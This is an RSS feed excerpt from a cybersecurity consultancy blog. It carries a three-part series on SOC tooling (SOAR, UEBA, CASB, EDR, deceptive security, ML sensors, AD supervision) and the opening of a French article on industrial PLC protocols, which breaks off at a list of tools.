<p>In addition to these approaches, <strong>‘technical’ Threat Intel</strong> contributes greatly to the <strong>analysis of security events</strong> by providing, on request (from SOAR in particular—see below), elements that enable the veracity of an alert to be judged: an IP belonging to a botnet, a file hash corresponding to a known virus, etc.</p>
<p>Threat Intelligence approaches are therefore among an SOC’s most versatile tools, enabling it to make the most of existing devices, by remaining up to date and prioritizing the threats to be detected, as well as identifying future tools and measures to be deployed.</p>
<p><strong><u>Examples of Threat Intelligence publishers:</u></strong></p>
<figure id="post-11854 media-11854" class="align-none"><img loading="lazy" decoding="async" class="size-medium wp-image-11854 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-2-354x191.png" alt="" width="354" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-2-354x191.png 354w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-2.png 691w" sizes="auto, (max-width: 354px) 100vw, 354px" /></figure>
<p>&nbsp;</p>
<h2>The standardization and automation of the response process</h2>
<h3>Security Orchestration, Automation and Response</h3>
<p>Security Orchestration, Automation and Response (SOAR) is derived from the combination of three SOC tools: <strong>Security Incident Response Platforms (SIRPs</strong>—more details <a href="http://www.securityinsider-wavestone.com/2016/12/sirp-la-panacee-de-la-reponse-incident.html">here),</a> <strong>Security Orchestration Automation</strong> <strong>(SOA—</strong> orchestration and automation solutions) and some of the functionality of <strong>Threat Intelligence</strong> platforms. In summary, these are platforms <strong>that provide help and automate responses</strong> to security incidents. The solutions are similar to traditional ticketing tools (ITSMs) but include functionalities specific to cybersecurity issues. SOARs offer three main capabilities, each linked to one of the three types of tools from which they are derived.</p>
<p>First, like SIRPs, they allow the <strong>definition of response processes</strong> that are tailored to each security event. These are based on <strong>pre-defined playbooks provided by the publisher,</strong> <strong>published by the community</strong> using the solution, or <strong>created manually</strong> to better tailor things to the needs of the business. In particular, this task requires response teams to establish a clearly defined process that encourages them to ask themselves the right questions when they create response procedures, as well as to capitalize on and retain the knowledge gained.</p>
<p>The benefits of a SOAR, however, come more from the automation of the various stages that follow detection. During the analysis phase, the tool will <strong>automatically</strong> <strong>enrich knowledge about a security event by</strong> <strong>retrieving contextual information about the IS</strong> (identity in the AD, criticality of a resource, etc.), and <strong>querying external Threat Intelligence services</strong> (<em>via</em> APIs) or those that are offered as part of the solution. In addition to automating the enrichment and analysis steps, SOARs <strong>also facilitate the work of analysts: </strong> the investigation of terminals, the interrogation of VirusTotal etc. in one click—when their involvement is required.</p>
<p>But automation doesn’t stop there! Although controversial, the <strong>automation of the response</strong> (via the connection to security equipment, a legacy of SOA) can represent an important gain for security teams: the blocking of a URL, the generation of the signature of a file and its propagation to antivirus tools, the blacklisting of an IP, etc.</p>
<p>The goal of SOARs is clear: to make it easier for the teams in charge of analysis and response, by helping them to define processes and automate tasks to the greatest extent possible. Although SOARs are very adaptable and can therefore help in response to any type of attack, they really shine when it comes to <strong>automating the treatment of common attacks</strong> (such as ransomware, phishing, etc.), which are very repetitive and tie up the resources of response teams.</p>
<p>Once these tasks have been automated, the security teams responsible for responding can <strong>focus on more complex alerts</strong>, where their knowledge adds real value.</p>
<p>Provided they are prepared to put in the initial effort (the formalization of processes, etc.), the likely <strong>reactivity and load gains</strong> are significant. SOARs will change the way SOC teams work, especially with respect to top-level analysts. Even though these solutions are still rarely deployed in France, they are set to become an essential tool for SOCs in the coming years.</p>
<p><strong><u>Examples of SOAR publishers:</u></strong></p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-11856 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-1-1-437x98.png" alt="" width="437" height="98" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-1-1-437x98.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-1-1-768x172.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-1-1-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-1-1.png 785w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p>&nbsp;</p>
<figure id="post-11858 media-11858" class="align-none">
<figure id="post-11865 media-11865" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-11865 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-4.png" alt="" width="828" height="485" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-4.png 828w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-4-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-4-326x191.png 326w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-4-768x450.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-4-67x39.png 67w" sizes="auto, (max-width: 828px) 100vw, 828px" /></figure>
</figure>
<p>&nbsp;</p>
<p><em>Even though tools are only part of equipping an SOC, each of these solutions has distinct advantages that can help detection teams keep up to date in terms of the evolution of ISs and threats.</em></p>
<p><em>All the tools are promising, and some are coming to maturity. However, it’s important to keep in mind that current toolkits already raise a raft of alerts, which presents a challenge when it comes to processing. It’s therefore advisable to complete the deployment and automation of what exists (using SOARs, for example), before turning toward new solutions.</em></p>
<p><em>And, as for any innovative product, a cool head is needed: the deployment of a new solution must be the result of well-defined needs.</em></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-33/">SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (3/3)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (2/3)</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-23/</link>
		
		<dc:creator><![CDATA[Amaury Coulomban]]></dc:creator>
		<pubDate>Thu, 18 Apr 2019 09:56:28 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Deceptive security]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[Machine learning]]></category>
		<category><![CDATA[SOC]]></category>
		<category><![CDATA[supervision]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[UEBA]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=11835</guid>

					<description><![CDATA[<p>After the first article, which covered &#8220;Extending the scope of detection to new perimeters&#8221; (available here), this second installment is the next in our summer series about the SOC&#8230; &#160; Enhancing detection with new approaches Think identity to detect suspect...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-23/">SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (2/3)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>After the first article, which covered &#8220;Extending the scope of detection to new perimeters&#8221; (available <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-13/">here</a>), this second installment is the next in our summer series about the SOC&#8230; </em></p>
<p>&nbsp;</p>
<h2>Enhancing detection with new approaches</h2>
<h3>Think identity to detect suspect behaviors: UEBA</h3>
<p>User and Entity Behavioral Analysis (UEBA—previously known as UBA) technologies are among the latest tools being used to enhance SOC’s detection arsenals. As their name suggests, they take a specific approach—leaving aside the technical considerations of current solutions (SIEM, etc.), and, instead, analyzing the <strong>behavior of users and entities</strong> (including terminals, applications, networks, servers, connected objects, etc.).</p>
<p>The principle is simple, but its implementation much less so. To be effective, UEBA approaches require a diversity of sources, and a <strong>variety of data formats</strong>. Traditional sources, such as SIEM and log manager(s), are employed and, in addition, certain resources (such as ADs, proxies, BDDs, etc.) are often used directly.</p>
<p>But, to perfect their detection capabilities, UEBA solutions also draw on new sources: <strong>information on users</strong> (HR applications, badge management, etc.), exchanges between employees (chats, video exchanges, emails, etc.), or any other relevant sources (business applications that need to be monitored, etc.).</p>
<p>Taking all this information together, UEBA solutions analyze the behavior of users (and entities) to identify potential threats. They can use static rules, in the form of <strong>signatures to be detected</strong> (which are often already implemented in SIEM solutions): simultaneous connections from two different locations, or unusual times of use, etc.</p>
<p>But the real strength of UEBA lies in the use of Machine Learning algorithms to detect <strong>changes in the behavior</strong> of users or services: suspicious business-function operations, access to critical, previously unused applications during holidays, unusual data transfers, etc.</p>
<p>Although UEBA was initially conceived to counter fraud, its role has gradually broadened to cover some areas that typically pose problems for SIEM: data theft, compromise or loan of application accounts, terminal or server infection, privilege abuse, etc.</p>
<p>Thus, today, UEBA is positioning itself as complementary to SIEM, adding to the latter’s &#8220;technical&#8221; approach by providing &#8220;user&#8221; visibility, and bringing an additional layer of intelligence to the analysis.</p>
<p>The market’s view is that, in the coming years, UEBA solutions will probably cease to exist in their present form. Instead, they’ll be integrated into existing solutions (SIEM, EDR, etc.), changing their form from products to functionalities.</p>
<p><strong><u>Examples of UEBA publishers:</u></strong></p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-11837 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-1-437x159.png" alt="" width="437" height="159" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-1-437x159.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-1-768x280.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-1-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-1.png 1339w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p>&nbsp;</p>
<h3>Trapping attackers: deceptive security</h3>
<p>Deceptive Security can be considered as a move to <strong>a higher form of the Honey Pot approach</strong>. Here, <strong>decoys</strong>, in the form of data, agents, or dedicated environments, are distributed widely throughout all, or part of, the IS.</p>
<p>Depending on the needs and solutions, Deceptive Security tools can serve two purposes. By <strong>diverting the attention of attackers away from real resources</strong> and leading them down false trails, they can act as a means of <strong>protection</strong>.</p>
<p>But above all, monitoring these decoys can <strong>detect</strong> threats that are spreading within the IS. In fact, the decoys have no other use than to <strong>lure potential attackers or to provide false information</strong>; any communication with them is then, by definition, suspect.</p>
<p>This type of solution isn&#8217;t a replacement for existing measures but addresses very specific use cases where conventional detection approaches are ineffective: APTs, which are specially designed to circumvent them, and, more broadly, horizontal movements within the IS.</p>
<p>For more detail on Deceptive Security solutions, read our dedicated article <a href="https://www.riskinsight-wavestone.com/en/2017/11/deceptive-security-comment-arroser-larroseur/">here</a>.</p>
<p><strong><u>Examples of Deceptive Security publishers:</u></strong></p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-11839 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-2-437x185.png" alt="" width="437" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-2-437x185.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-2-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-2-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-2.png 1308w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p>&nbsp;</p>
<h3>Detecting weak signals on the network: machine learning sensors</h3>
<p>Traditional detection sensors (IDPSs), based on traffic analysis and comparisons with known attack signatures, are not particularly effective when it comes to <strong>detecting subtle attacks</strong> (APTs, etc.) <strong>or unknown</strong> <strong>threats</strong> (0-day, etc.). To overcome this problem, new-generation IDPSs integrate Machine Learning capabilities (sometimes presented as Artificial Intelligence) into their detection arsenals.</p>
<p>Depending on the solution, two types of use for Machine Learning can be distinguished. On the one hand, the use of these algorithms in <strong>supervised mode</strong> to learn to <strong>recognize the behavior of certain attacks</strong>, or phases of attack (during the active phases): command and control, scans, lateral movements, data leakage, etc.</p>
<p>On the other, once the sensor has been deployed, adjustment of the detection thresholds to the client context is also based on Machine Learning algorithms (something already used by many traditional IDPS solutions).</p>
<p>This mode of operation enables rapid deployment (solutions that can be used out-of-the-box with shorter learning phases), and a better ability to detect previously characterized attacks. Conversely, the detection of attacks that have not been subject to learning, or are completely unknown, remains difficult.</p>
<p>In contrast to this approach, some solutions rely on <strong>unsupervised learning</strong> to detect attacks. Here, during deployment, sensors are positioned on the network to observe the traffic and learn how to recognize what constitutes legitimate traffic.</p>
<p>Once the learning phase is over, the sensors can <strong>detect anomalies</strong> and raise alerts when suspicious behavior occurs. This approach enables the detection of unknown attacks, but generally requires a longer learning phase if it is to be effective and achieve an acceptable false alert rate.</p>
<p>In both cases, the &#8220;Machine Learning<em>&#8220;</em> sensors make it possible to enhance an SOC’s arsenal (which, today, is mostly aimed at detecting known attacks) through detection capabilities that can <strong>discern complex, unknown attacks</strong>, or those designed to circumvent conventional security approaches.</p>
<p>Initial feedback from the field shows that these technologies can indeed detect threats that bypass conventional security measures. False positives, however, are very common (the learning curve varies widely, depending on solutions and contexts), and it remains difficult to judge how comprehensively threats are being detected.</p>
<p>&#8220;Machine Learning&#8221; sensors therefore have a definite future among SOC tools, even if they need to further mature to reach their full potential.</p>
<p><strong><u>Examples of Machine Learning sensor publishers:</u></strong></p>
<figure id="post-11841 media-11841" class="align-none"><img loading="lazy" decoding="async" class="size-medium wp-image-11841 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-2-437x76.png" alt="" width="437" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-2-437x76.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-2-768x134.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-2-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-2.png 1377w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>
<p>&nbsp;</p>
<p><em>You can find our third, and final, article in this series <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-33/">here</a>.</em></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-23/">SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (2/3)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (1/3)</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-13/</link>
		
		<dc:creator><![CDATA[Amaury Coulomban]]></dc:creator>
		<pubDate>Thu, 18 Apr 2019 09:00:30 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[AD]]></category>
		<category><![CDATA[CASB]]></category>
		<category><![CDATA[détection]]></category>
		<category><![CDATA[EDR]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[SOC]]></category>
		<category><![CDATA[supervision]]></category>
		<category><![CDATA[tool]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=11826</guid>

					<description><![CDATA[<p>SOC teams are finding it more and more difficult to detect increasingly complex attacks that take place over ever larger perimeters. At the same time, they are bearing the full brunt of the explosion in the number of alerts to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-13/">SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (1/3)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>SOC teams are finding it more and more difficult to detect increasingly complex attacks that take place over ever larger perimeters. At the same time, they are bearing the full brunt of the explosion in the number of alerts to process (especially due to the myriad of technologies in use and the false positives they generate), the strengthening of the regulatory framework, and the need for more granular and rapid detection&#8230;</em></p>
<p><em>Against a backdrop of an acute shortage of cybersecurity skills, these issues cannot be addressed solely by increasing the size of SOC teams. The use of <strong>new tools</strong>, based on <strong>four strategic areas</strong>, is essential in enabling SOCs to stay ahead of threats.</em></p>
<p>&nbsp;</p>
<figure id="post-11844 media-11844" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-11844 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-1.png" alt="" width="1464" height="318" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-1.png 1464w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-1-437x95.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-1-768x167.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image-0-1-71x15.png 71w" sizes="auto, (max-width: 1464px) 100vw, 1464px" /></figure>
<p>&nbsp;</p>
<p><em>Here, <strong>extending the scope of detection</strong> enables the protection of new areas of the IS that are not sufficiently secure (such as the cloud) and of resources that are increasingly being chosen as targets (through ransomware attacks on terminals, targeted attacks using ADs, etc.).</em></p>
<p><em>At the same time, <strong>new approaches need to be adopted</strong> to detect targeted attacks (0-day, &#8220;low signal&#8221;, etc.), whose increasing sophistication is undermining existing security measures.</em></p>
<p><em>In addition to these new detection tools, <strong>an</strong> <strong>advanced knowledge of threats</strong> <strong>and attackers</strong> can improve existing detection capabilities, help prioritize incidents to be dealt with, and increase the effectiveness of the response.</em></p>
<p><em>But SOC teams are already struggling to process the events generated by existing tools. As a result, it’s essential to <strong>standardize and automate</strong> interactions between teams and systems, and, wherever possible, <strong>the sequence of analysis and response</strong>.</em></p>
<p><strong><em>Follow our series on the topic and learn how to tool up in these four strategic areas!</em></strong></p>
<p>&nbsp;</p>
<h2>Extending the scope of detection to new perimeters</h2>
<h3>A unique solution to secure all clouds: CASB</h3>
<p>Cloud Access Security Brokers (CASBs) address an area of the IS that is poorly served by traditional security measures: <strong>the cloud</strong>. The very nature of the cloud means that protection in this area requires a different approach to that used for a conventional IS; <strong>there is little or no control of resources</strong> (infrastructure, OSs, or applications—depending on the type of offering), <strong>assets are located outside the IS</strong>, etc.</p>
<p>CASBs aim to <strong>centralize </strong>and <strong>ensure that security policies are applied</strong>. Some <strong>cloud providers offer their own</strong> CASB security services (for example, Microsoft’s <em>Cloud App Security</em>); but, depending on the needs, it may be preferable to use <strong>third-party solutions</strong>, even though there is a cost to adding in another player. While CASBs aim to ensure security levels in the cloud, relying on the cloud service providers to perform this monitoring role can be counterproductive: it’s preferable to make use of a &#8220;trusted third party&#8221;.</p>
<p>In all cases, CASBs offer a diversity of solutions that can include a very large number of services—their degree of maturity depending on the solution&#8217;s publisher, the cloud provider, and the type of hosting (IaaS, PaaS, SaaS, etc.).</p>
<p>On the one hand, CASB solutions make it possible to deal with <strong>specific cloud issues</strong>, by <strong>addressing the lack of visibility in these environments</strong> (through shadow IT detection, usage statistics, etc.) and ensuring that they are <strong>compliant</strong> (verification of configurations, etc.).</p>
<p>On the other hand, they play a part in the application of traditional security measures in this cloud. In particular, <strong>data security</strong> issues (such as DLP and encryption measures, which are of special concern to regulators) and <strong>threat detection</strong> (centralization of cloud logs for transmission to SIEM, detection of abnormal behavior using UEBA (see our dedicated article on this), etc.) are parts of a CASB traditional capabilities. In addition, some stakes associated with <strong>IAM</strong> can also be addressed by these solutions (SSO, access contextualization, etc.).</p>
<p>There are two main modes of deployment when putting these features in place, each with its advantages and disadvantages. <strong>Proxy-type</strong> <strong>solutions</strong> are placed between users and the cloud service.</p>
<p>In contrast, when using <strong>API-type solutions</strong>, which are sometimes called “out-of-band”, the cloud service’s consumers communicate directly with it. Each time it’s accessed, the service queries the CASB’s APIs to evaluate the risks and authorize (or prohibit) the consumption of the service. However, to operate, API solutions rely on the interfaces offered by the cloud provider, which may limit the options.</p>
<p>At present, CASBs are relatively new and immature solutions, and their deployment is limited. However, given the increasingly broad adoption of cloud services (already well advanced), CASBs undoubtedly have a bright future. They’ll enable SOC teams to extend their surveillance to this area, which will soon represent a large proportion of any IS.</p>
<p><strong><u>Examples of CASB publishers:</u></strong></p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-11827 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-437x119.png" alt="" width="437" height="119" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image1-71x19.png 71w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p>&nbsp;</p>
<h3>The new Swiss army knife for securing terminals: endpoint detection and response (EDR)</h3>
<p>Endpoint Detection and Response (EDR) solutions are set to enhance SOC’s detection and response capabilities <strong>for terminals</strong> (PCs, servers, etc.).</p>
<p>As the name implies, EDRs play a part in <strong>detecting</strong> attacks. In fact, they are plugging the gaps in anti-virus solutions (and other HIPSs) which make use of specific attack signatures and are therefore unsuited to detecting certain attack types—in particular advanced attacks (APTs). EDRs are based on other detection methods, with publishers generally offering a combination of techniques commonly used elsewhere.</p>
<p>Among these techniques, a large number of solutions <strong>detect the exploitation of known vulnerabilities</strong> or <strong>attack patterns</strong> (the opening of suspicious ports to dubious addresses, etc.), the <strong>analysis of files</strong> using a sandbox (local emulation, submission in the cloud, etc.), and <strong>behavioral approaches</strong> based on Machine Learning (in particular UEBA solutions—see the dedicated chapter on this). Depending on the SOC’s needs, the alerts produced can be integrated as SIEM sources, or made available directly from the solution management console.</p>
<p>In addition to their advanced detection capabilities, EDR solutions also result in a considerable <strong>increase in visibility on devices</strong>: lists of processes and services launched, lists of files in certain system directories, as well as other information that <strong>facilitates investigation</strong> in cases where an alert is raised. Some solutions go beyond mere recovery of the state of the terminal at the time of the request, enabling its history to be recovered too: generation of logs, recovery of deleted files, etc.</p>
<p>But EDRs’ features don’t end at the detection and analysis phase. In fact, these solutions enable <strong>remote remediation</strong> actions to be performed, and the complexity of these depends on the publisher: deleting or quarantining files, ending processes, quarantining the terminal from the network, modifying registry keys, etc.</p>
<p>EDRs, thus, are comprehensive solutions that come into play at every stage of the process: from detection, through analysis, to response. However, they are <strong>not intended to replace anti-virus solutions</strong>: it’s always more effective to block known attacks, even though publishers are increasingly offering solutions that combine these two types of functionality.</p>
<p><em>For more details on EDR solutions, read our dedicated article <a href="https://www.riskinsight-wavestone.com/en/2018/03/edr-nouveau-challenger-dans-la-protection-des-endpoints/">here</a>.</em></p>
<p>&nbsp;</p>
<p><strong><u>Examples of EDR publishers:</u></strong></p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-11829 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-1-333x191.png" alt="" width="333" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-1.png 333w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/Image2-1-68x39.png 68w" sizes="auto, (max-width: 333px) 100vw, 333px" /></p>
<p>&nbsp;</p>
<h3>Protecting the keys to the kingdom: Active Directory supervision</h3>
<p>Directories are among an <strong>IS’s</strong> <strong>most critical</strong> components. They provide the authentication and authorization functionality for almost all IS resources—both technical and business function—including the most critical ones. It’s therefore not surprising that compromising the AD is one of the most frequent attack methods used, since it opens numerous doors to an attacker.</p>
<p>Despite this criticality, and the fact that AD architectures are well known and have evolved little in recent years, <strong>their security has scope to improve</strong>. This is due, in particular, to their specific mode of operation (OUs, domains, trees, forests, users, etc.), which renders traditional protection and surveillance methods ineffective; a significant concern given that any vulnerability can represent a major risk for the rest of the IS.</p>
<p>AD surveillance solutions aim to overcome this problem by supervising (in real time, or during an audit) the specificities of directories (configuration, status of accounts, etc.) and <strong>detecting vulnerabilities </strong>that could result in them being compromised. To do this, AD supervision solutions have a highly detailed knowledge of how ADs function, and, in particular, the associated security issues.</p>
<p>When the solution detects a vulnerability, <strong>it raises an alert</strong> (via the SIEM, or directly) and can provide <strong>remediation advice</strong> to facilitate the work of the teams responsible for rectifying the problem.</p>
<p>AD supervision tools also enable the SOC to <strong>detect any changes in configuration</strong> (legitimate, accidental, or malicious) and continuously assure security levels for these critical components. In doing so, they make the task of numerous attackers decidedly more complex.</p>
<p>In addition to directly strengthening the AD’s security levels, such solutions can also be used to ensure <strong>compliance with standards or regulatory requirements</strong> (for example PCI DSS, etc.).</p>
<p>These solutions are not widely applied today, and their use is generally limited to one-off audits. However, given the considerable security improvements associated with the provision of detection and remediation advice, and their ease of use, such solutions have strong potential and are likely to find their place among the tools used by SOCs.</p>
<p><strong><u>Examples of AD supervision publishers:</u></strong></p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-11831 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-1-437x111.png" alt="" width="437" height="111" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-1.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/04/image3-1-71x18.png 71w" sizes="auto, (max-width: 437px) 100vw, 437px" /></p>
<p><em>You can find our second article in the series <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-23/">here</a>.</em></p>
<p>&nbsp;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-13/">SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (1/3)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</title>
		<link>https://www.riskinsight-wavestone.com/en/2016/05/s7comm-un-outil-de-communication-avec_24/</link>
		
		<dc:creator><![CDATA[Alexandrine Torrents]]></dc:creator>
		<pubDate>Wed, 25 May 2016 13:43:46 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[automatisation]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[programmable]]></category>
		<category><![CDATA[s7comm]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15506</guid>

					<description><![CDATA[<p>La sécurité des Systèmes d’Informations Industriels (SII) est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une action directe dans le monde « physique » à l’aide d’instructions provenant du monde « logique » et pilotent...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/05/s7comm-un-outil-de-communication-avec_24/">S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15913 media-15913" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15913" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu.jpg" alt="" width="320" height="213" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu-287x191.jpg 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu-59x39.jpg 59w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<p>La sécurité des <span class="Miseenvaleur" style="color: #00477f;"><b>Systèmes d’Informations Industriels (SII)</b></span> est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une <span class="Miseenvaleur" style="color: #00477f;"><b>action directe dans le monde « physique »</b></span> à l’aide d’instructions provenant du <span class="Miseenvaleur" style="color: #00477f;"><b>monde « logique »</b></span> et pilotent les <span class="Miseenvaleur" style="color: #00477f;"><b>outils de production</b></span> de nombreuses entreprises.</p>
<p>Du fait du <span class="Miseenvaleur" style="color: #00477f;"><b>manque de sécurité </b></span>de ces systèmes, de nombreuses attaques ont été recensées dans le monde ces dernières années. La dernière en date ayant eu le plus gros impact est <span class="Miseenvaleur" style="color: #00477f;"><b><b><b>l&#8217;attaque du réseau électrique de l&#8217;Ukraine en décembre dernier [1]</b></b></b></span>. De nombreuses personnes se sont retrouvées sans électricité suite à une attaque du réseau industriel.</p>
<p>Le plus bas niveau des SI industriels est le <span class="Miseenvaleur" style="color: #00477f;"><b><b>réseau de production</b></b></span>. Les <span class="Miseenvaleur" style="color: #00477f;"><b>capteurs et les actionneurs</b></span> sont reliés aux entrées/sorties des automates industriels. Les protocoles utilisés pour communiquer avec ces automates sont généralement des protocoles propriétaires. Parmi les plus utilisés, on retrouve : <span class="Miseenvaleur" style="color: #00477f;"><b>Modbus, S7comm, DNP3, Profibus, Hart</b></span>… Ces protocoles manquent souvent des principales fonctions de sécurité à savoir <span class="Miseenvaleur" style="color: #00477f;"><b><b>l’authentification et le chiffrement des flux</b></b></span>. Il est donc possible de rejouer des requêtes et de réaliser des actions malveillantes directement sur les automates.<br />
<span class="Miseenvaleur" style="color: #00477f;"><b>Modbus</b></span>, protocole de <span class="Miseenvaleur" style="color: #00477f;"><b>Schneider Electric</b></span> publiquement documenté et libre de droits, est une norme de référence pour les communications industrielles. De nombreux outils utilisant ce protocole existent pour communiquer avec les automates Schneider :</p>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l2 level1 lfo6; tab-stops: 35.4pt; text-indent: -18pt;">
<ul>
